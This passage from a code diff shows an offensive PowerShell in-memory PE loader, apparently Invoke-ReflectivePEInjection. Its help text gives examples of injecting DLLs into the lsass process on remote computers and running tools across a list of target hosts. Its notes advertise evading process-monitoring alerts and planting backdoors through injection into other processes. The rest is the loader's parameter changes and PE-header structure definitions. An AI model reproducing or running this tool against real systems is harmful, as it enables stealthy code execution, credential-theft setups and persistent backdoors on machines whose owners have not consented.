the wchar_t* returned by WStringFunc() from all the computers. -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + the wchar_t* returned by WStringFunc() from all the computers. +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .EXAMPLE Load DemoEXE and run it locally. -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +.EXAMPLE + +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR .EXAMPLE Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. -Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local .NOTES GENERAL NOTES: The script has 3 basic sets of functionality: 1.) Reflectively load a DLL in to the PowerShell process - -Can return DLL output to user when run remotely or locally. - -Cleans up memory in the PS process once the DLL finishes executing. - -Great for running pentest tools on remote computers without triggering process monitoring alerts. - -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. 2.) Reflectively load an EXE in to the PowerShell process. - -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. - -Cleans up memory in the PS process once the DLL finishes executing. - -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. 3.) Reflectively inject a DLL in to a remote process. - -Can NOT return DLL output to the user when run remotely OR locally. - -Does NOT clean up memory in the remote process if/when DLL finishes execution. - -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. - -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. - - + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. DLL LOADING NOTES: @@ -153,2690 +153,2731 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl .LINK -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ - #> -[CmdletBinding(DefaultParameterSetName="WebFile")] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')] +[CmdletBinding()] Param( - [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] - [String] - $PEPath, - - [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] - [Uri] - $PEUrl, - - [Parameter(Position = 1)] - [String[]] - $ComputerName, - - [Parameter(Position = 2)] + [Parameter(Position = 0, Mandatory = $true)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] - [String] - $FuncReturnType = 'Void', - - [Parameter(Position = 3)] - [String] - $ExeArgs, - - [Parameter(Position = 4)] - [Int32] - $ProcId, - - [Parameter(Position = 5)] - [String] - $ProcName + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, + + [Switch] + $ForceASLR, + + [Switch] + $DoNotZeroMZ ) Set-StrictMode -Version 2 $RemoteScriptBlock = { - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $FuncReturnType, - - [Parameter(Position = 2, Mandatory = $false)] - [Int32] - $ProcId, - - [Parameter(Position = 3, Mandatory = $false)] - [String] - $ProcName - ) - - ################################### - ########## Win32 Stuff ########## - ################################### - Function Get-Win32Types - { - $Win32Types = New-Object System.Object - - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - - ############ ENUM ############ - #Enum MachineType - $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null - $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null - $MachineType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType - - #Enum MagicType - $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null - $MagicType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType - - #Enum SubSystemType - $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null - $SubSystemType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType - - #Enum DllCharacteristicsType - $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null - $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null - $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null - $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null - $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null - $DllCharacteristicsType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType - - ########### STRUCT ########### - #Struct IMAGE_DATA_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) - ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null - $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY - - #Struct IMAGE_FILE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null - $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER - - #Struct IMAGE_OPTIONAL_HEADER64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null - $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 - - #Struct IMAGE_OPTIONAL_HEADER32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 - - #Struct IMAGE_NT_HEADERS64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null - $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 - - #Struct IMAGE_NT_HEADERS32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null - $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 - - #Struct IMAGE_DOS_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) - $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null - - $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $e_resField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null - - $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) - $e_res2Field.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null - $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER - - #Struct IMAGE_SECTION_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) - - $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) - $nameField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER - - #Struct IMAGE_BASE_RELOCATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null - $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION - - #Struct IMAGE_IMPORT_DESCRIPTOR - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Characteristics', 